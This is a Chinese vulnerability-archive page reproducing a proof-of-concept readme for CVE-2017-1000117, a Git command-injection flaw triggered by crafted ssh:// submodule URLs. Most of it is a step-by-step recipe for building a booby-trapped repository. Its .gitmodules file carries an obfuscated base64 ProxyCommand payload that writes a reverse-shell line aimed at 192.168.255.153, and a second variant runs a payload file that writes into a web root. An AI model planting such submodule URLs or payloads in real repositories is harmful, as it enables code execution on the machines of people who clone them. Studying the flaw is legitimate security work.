目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2017-1000117 PoC — Git 命令注入漏洞

来源
关联漏洞
标题: Git 命令注入漏洞 (CVE-2017-1000117)
Description:Git是美国软件开发者林纳斯-托瓦兹(Linus Torvalds)所研发的一套免费、开源的分布式版本控制系统。 Git 2.7.5之前的版本中存在命令漏洞。远程攻击者可借助特制的‘ssh://...’URL利用该漏洞运行任意设备已退出的程序。
介绍
# CVE-2017-1000117  

恶意人员可以通过巧妙构造 “ssh://…” 链接,让受害人在执行程序等情况下访问该恶意链接,从而达到命令执行的目的。 该链接可以被放在 git项目的.gitmodules文件下,这样当受害人对一个项目进行git clone –recurse-submodules/git clone --recursive 操作时,就会引发安全问题。

预热:

linux 命令行输入
printf 'a' >> /tmp/pwned.txt
发现在tmp目录创建了pwned.txt,内容为 a


git init

git remote add origin  https://github.com/leezp/CVE-2017-1000117.git

git pull origin master

git submodule add https://github.com/leezp/CVE-2017-1000117.git sub1

([submodule "sub1"]
 	path = sub1
 	url = https://github.com/leezp/CVE-2017-1000117.git
//创建了sub1和name2两个submodule子目录)

git submodule add https://github.com/leezp/CVE-2017-1000117.git name2

git add .

git commit -m '1'

git push -u origin master

有两种制作方式:

第一种:
打开.gitmodules文件,修改内容(只需修改第一个,因为只会执行第一个submodule里的exp,这里创建2个是因为有时候创建一个不会执行,具体原因暂时没有太多兴趣研究)

[submodule "name1"]

	path = name1
   	url = ssh://-oProxyCommand=printf cHJpbnRmICJiYXNoIC1pID4vZGV2L3RjcC8xOTIuMTY4LjI1NS4xNTMvMjMzMyAwPiYxIDI+JjEgIiA+PiAvdG1wL3F3ZXI= | base64 -d | sh /bar
	
[submodule "sub2"]	

	path = sub2	
	url = https://github.com/leezp/CVE-2017-1000117.git

(具体见.gitmodules.bak1文件)
第一种方式无需payload文件


第二种方式:
打开.gitmodules文件,修改内容(只需修改第一个)

[submodule "sub1"]

	path = sub1
	url = ssh://-oProxyCommand=sh<payload/wat
	
[submodule "name2"]

	path = name2
	url = https://github.com/leezp/CVE-2017-1000117.git
  (具体见.gitmodules文件)
  
  此种方式需结合payload文件,payload文件我们输入 
  printf 'sss' > /var/www/html/vul
  
  

**注意**
git clone方式必须以下两种任一:

git clone --recursive url

git clone --recurse-submodules  url

使用git clone 则只会正常下载不会额外生成文件,所以漏洞触发条件较为苛刻。



文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →